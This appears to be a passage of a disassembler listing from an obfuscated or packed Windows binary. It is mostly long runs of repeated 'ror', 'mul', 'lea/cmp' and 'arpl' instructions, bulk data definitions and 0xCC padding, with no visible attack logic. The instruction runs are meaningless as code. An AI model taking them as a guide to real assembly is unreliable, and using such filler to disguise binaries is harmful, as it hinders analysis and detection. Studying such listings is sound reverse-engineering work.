		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		ror	esi, 1
		mul	ah
		lea	ecx, [esi+7Ch]
		cmp	eax, 3D7C4E8Dh
		lea	ecx, [esi+7Ch]
		cmp	eax, 3D7C4E8Dh
		lea	ecx, [esi+7Ch]
		cmp	eax, 3D7C4E8Dh
		lea	ecx, [esi+7Ch]
		cmp	eax, 3D7C4E8Dh
		lea	ecx, [esi+7Ch]
		cmp	eax, 3D7C4E8Dh
		lea	ecx, [esi+7Ch]
		cmp	eax, 3D7C4E8Dh
		lea	ecx, [esi+7Ch]
		cmp	eax, 3D7C4E8Dh
		lea	ecx, [esi+7Ch]
		cmp	eax, 3D7C4E8Dh
		lea	ebp, [edx-54235C25h]
; END OF FUNCTION CHUNK	FOR sub_6153C5
; ---------------------------------------------------------------------------
		db 0DBh, 0A3h, 0DCh
		dd 201h	dup(0DCA3DBABh), 50A3DBABh, 0ABh dup(50324ED0h)
		db 0D0h, 4Eh
word_616C4E	dw 5032h		; DATA XREF: ___:off_4452FCo
		dd 0AAh	dup(50324ED0h),	0D1FBD6D0h, 1F9h dup(0D1FBD675h)
		dd 0B2F5D675h, 36h dup(0B2F5636Ah), 671CC76Ah, 104h dup(671CC7F9h)
		dd 6349CAF9h, 2Eh dup(6349CA5Ch)
		db 5Ch,	0CAh, 49h
; ---------------------------------------------------------------------------


loc_617C8F:				; CODE XREF: sdfs____:005C9482j
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
		arpl	[edx+ecx*8+49h], bx
; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
